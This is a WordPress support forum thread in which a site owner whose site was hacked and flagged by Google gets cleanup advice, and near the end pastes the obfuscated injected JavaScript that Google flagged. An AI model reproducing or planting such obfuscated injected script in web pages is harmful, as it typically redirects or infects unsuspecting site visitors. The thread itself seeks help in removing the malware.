Google restricting site

  • Resolved otronics

    (@otronics)


    11 years, 10 months ago

    Hi All,
    I’ve arrived at WP support forums as I’m stumped for a solution to this ongoing malicious problem.
    My site http://www.daysarenumbers.net/wordpress/

    Is restricted to be viewed by Google Chrome, believing that the site is harmful to computers.
    If I click proceed to site, I am presented with this
    Warning: require(/home/anenij/daysarenumbers.net/wordpress/wp-includes/l10n.php) [function.require]: failed to open stream: No such file or directory in/home/anenij/daysarenumbers.net/wordpress/wp-settings.php on line 103

    Fatal error: require() [function.require]: Failed opening required ‘/home/anenij/daysarenumbers.net/wordpress/wp-includes/l10n.php’ (include_path=’.:/usr/local/lib/php:/usr/local/php5/lib/pear’) in /home/anenij/daysarenumbers.net/wordpress/wp-settings.php on line 103

    It is also worth noting that a week ago – my site was being redirected to a very spammy site.

    My Host, have said that some of my site contained malicious files that needed to be removed. They claimed that have run several scans and removed suspicious files.

    Now, here I am, not knowing what to do next to get my site back online and running?

    Help/advice I appreciate greatly.

    Oliver

Viewing 15 replies - 1 through 15 (of 22 total)
1 2
  • Riversatile

    (@riversatile)

    11 years, 10 months ago

    Hi,

    This is what I got :

    Warning: require(/home/anenij/daysarenumbers.net/wordpress/wp-includes/l10n.php) [function.require]: failed to open stream: No such file or directory in /home/anenij/daysarenumbers.net/wordpress/wp-settings.php on line 103

Fatal error: require() [function.require]: Failed opening required '/home/anenij/daysarenumbers.net/wordpress/wp-includes/l10n.php' (include_path='.:/usr/local/lib/php:/usr/local/php5/lib/pear') in /home/anenij/daysarenumbers.net/wordpress/wp-settings.php on line 103

    First : You should check the integrity of your wp-config.php file and htaccess file.
    Second : Try to change your WordPress theme.
    Third : Upload/overwrite a fresh release of WordPress.

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    Thanks for your reply.

    1. I’ll check those out in a few hours.
    2. How do I change the wordpress theme when I cannot get to the /login.php address?

    Thanks again

    esmi

    (@esmi)

    11 years, 10 months ago

    Try:
    – switching to the Twenty Eleven theme by renaming your current theme’s folder inside wp-content/themes and adding “-old” to the end of the folder name using FTP or whatever file management application your host provides.

    – resetting the plugins folder by FTP or phpMyAdmin.

    – re-uploading all files & folders – except the wp-content folder – from a fresh download of WordPress.

    Riversatile

    (@riversatile)

    11 years, 10 months ago

    Thanks esmi for clarification of what otronics need to do 😉

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    Thank you kindly – I’ll be trying this out asap

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    Q. Will this damage my existing pages/posts/comments – ?

    for instance, if I switch back to Twenty Eleven, then move back to my current theme will all my original work be lost?

    esmi

    (@esmi)

    11 years, 10 months ago

    Nope. Your content is all quite safe in your database.

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    UPDATE

    as esmi suggested. I reset the plugin folder using phpMyAdmin.

    I then downloaded the latest version of WordPress, then moved the files over to site/wordpress using cyberduck FTP, overwriting existing ones, except for the Content folder and wp-config.php

    I’m now stumped as to what next?

    I can visit http://www.daysarenumbers.net/wordpress

    But the page is blank!

    I’m obviously forgetting something, a little help would be great.

    Many Thanks

    esmi

    (@esmi)

    11 years, 10 months ago

    Erm… I’m getting a malware warning at that url.

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    OH – yes, my browser is displaying a warning – but if I push past and proceed, the screen goes blank.

    I’ve noticed I can get to http://www.daysarenumbers.net/wordpress/wp-login.php

    but my credentials do not work.

    esmi

    (@esmi)

    11 years, 10 months ago

    I think you need to start working your way through these resources:
    http://codex.wordpress.org/FAQ_My_site_was_hacked
    http://wordpress.org/support/topic/268083#post-1065779
    http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
    http://ottopress.com/2009/hacked-wordpress-backdoors/

    Additional Resources:
    http://sitecheck.sucuri.net/scanner/
    http://www.unmaskparasites.com/
    http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    Oh no, I really don’t like this

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    Okay esmi thanks again!

    I believe I’ve made some progress – after removing everything off the server – and getting a fresh download of my theme I believe everything is back to normal.

    I have two further questions;

    1. Why are my browsers still saying ‘this site is infect’ ?
    2. A portion of my site is not displaying content as it should. Is this to do with the disabled plugins? Can I just go back to phpMyAdmin and revert back to original values?

    Thank you

    esmi

    (@esmi)

    11 years, 10 months ago

    1. You need to ask Google to review your site via Google’s Webmaster Tools

    2. I’d suggest upgrading WordPress first whilst your plugins are inactive.

    Thread Starter otronics

    (@otronics)

    11 years, 10 months ago

    Great – I’ve just asked Google to Review the site, but they want me to check that this suspicious code has been removed.

    The problem is that they give no indication as to where it’s found!

    Does anyone have an idea?

    <script type='text/javascript'>st="dark-en0no3mno3niapno3rxr
pno3rxen0d";Date&&(a=["a#%d]%b@%e_%c)%1<%5*%4+%9:%3^%2","%7!
%0|%f~%8?%6&"]);var b=[],c="&!^<^]$$&)&~&_&)!$^@$|&:&&$?$]
^<^]^]&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*$_&:&_&+&*!?+~&&$?&!^<$:
$:!@!?^+^]^!^$+*^&^@!&&<!$$|&^^]&_&*!!$|++&<!+&*^@&^$_!^&*!+
*+&:&]&*$?&^$_&!&*!+*+&:&]&*$?$:^@&*&+^]&_&*!!$|++&<!+&*$?
&^$_&!&*!+*+&:&]&*$?$@!?^+$:^@&+&~&^!*&]&*&_!+$_&^&~&~&@&:
&*^]&!^<$@$$^]$$$@&*!^&^&<!|&*$?&*&+$_!+&~+!+]*+*^!+!$&:&_&!
$?$@$$^@&*!?!|&:!$&*!^^]$$$@&*&+$_!+&~+!+]*+*^!+!$&:&_&!
$?$@$$^@!|&<!+&?^]$~$$^@&!^^^]$$&?!+!+!|^#$~$~$$$@!^!+$_!$
&*!|&)&<&^&*$?$~&*&_^|$~&!$)$$&!$$$_!$&*!|&)&<&^&*$?$~&_&~
^^$~&!$)$$&*$$$_!$&*!|&)&<&^&*$?$~!|&*!$!?$~&!$)$$$_$$$@
$$$~!+&~!|^$$_&?!+&]&)$$^@!&&<!$$|&+^]$]^<$<^]&_&<!&&:&!&<!+
&~!$$_!*!^&*!$+<&!&*&_!+$_!+&~+)&~!!&*!$+^&<!^&*$?$_&:&_&+
&*!?+~&&$?$$&&&:!$&*&&&~!?$$$)&*^]$$^<$$$)&?^]&&!*&_&^!+&:
&~&_$?$:!@!]^@&?$_!|!$&~!+&~!+!:!|&*^]!@&$^#&&!*&_&^!+&:&~&_
$?$:!@!$&*!+!*!$&_$|&!^^!]$)&<^#&&!*&_&^!+&:&~&_$?$:!@!&&<!$
$|&&
Viewing 15 replies - 1 through 15 (of 22 total)
1 2
  • The topic ‘Google restricting site’ is closed to new replies.